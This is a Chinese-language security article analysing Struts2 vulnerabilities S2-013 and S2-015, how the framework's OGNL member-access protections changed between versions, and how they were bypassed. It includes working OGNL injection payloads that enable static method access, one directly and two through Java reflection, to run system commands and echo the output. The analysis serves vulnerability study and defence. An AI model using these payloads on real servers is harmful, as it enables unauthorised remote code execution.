浅谈struts2漏洞防护与绕过-上
字数 1089 2025-08-27 12:33:31
Struts2漏洞防护与绕过技术分析
一、Struts2漏洞概述
本文重点分析Struts2框架的安全防护机制及其绕过技术,而非单纯漏洞分析。研究版本范围与漏洞影响范围不完全对应,主要关注防护机制的演进。
二、S2-013漏洞分析
漏洞原理
- 影响标签:
<s:a>和<s:url>的includeParams属性 - 属性值:
none:不包含URL参数(默认)get:仅包含GET参数all:包含GET和POST参数
- 漏洞触发:标签解析过程中OGNL表达式注入
利用条件
includeParams=all:可通过GET或POST触发includeParams=get:仅能通过GET触发includeParams=none:无法触发
关键防护机制
allowStaticMethodAccess默认为false,阻止静态方法调用- 由
SecurityMemberAccess类(继承自DefaultMemberAccess)控制访问权限
防护机制实现
public class DefaultMemberAccess implements MemberAccess {
public boolean allowPrivateAccess = false;
public boolean allowProtectedAccess = false;
public boolean allowPackageProtectedAccess = false;
public DefaultMemberAccess(boolean allowAllAccess) {
this(allowAllAccess, allowAllAccess, allowAllAccess);
}
public DefaultMemberAccess(boolean allowPrivateAccess,
boolean allowProtectedAccess,
boolean allowPackageProtectedAccess) {
this.allowPrivateAccess = allowPrivateAccess;
this.allowProtectedAccess = allowProtectedAccess;
this.allowPackageProtectedAccess = allowPackageProtectedAccess;
}
}
绕过方法
通过OGNL修改_memberAccess的allowStaticMethodAccess属性:
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
三、S2-015漏洞分析
漏洞原理
- 配置文件使用通配符
*定义action - 动态解析跳转页面时注入OGNL表达式
示例配置:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
漏洞触发流程
StrutsResultSupport.class处理跳转:
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
conditionalParse方法进行二次处理- 经过格式处理后导致RCE
防护机制演进
- Struts2-2.3.14.2版本修改:
- 为
allowStaticMethodAccess添加final修饰符 - 删除
setAllowStaticMethodAccess方法
- 为
绕过方法
利用反射机制操作私有域和方法:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
简化版(因xwork.MethodAccessor.denyMethodExecution默认为false):
${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
四、防护与绕过技术总结
-
早期版本绕过:
- 直接修改
_memberAccess的allowStaticMethodAccess属性
- 直接修改
-
后期版本防护:
- 使用
final修饰关键属性 - 移除setter方法
- 使用
-
高级绕过技术:
- 利用Java反射机制突破
final限制 - 操作私有字段和方法
- 利用Java反射机制突破
-
回显构造:
- 使用
IOUtils.toString获取命令执行结果
- 使用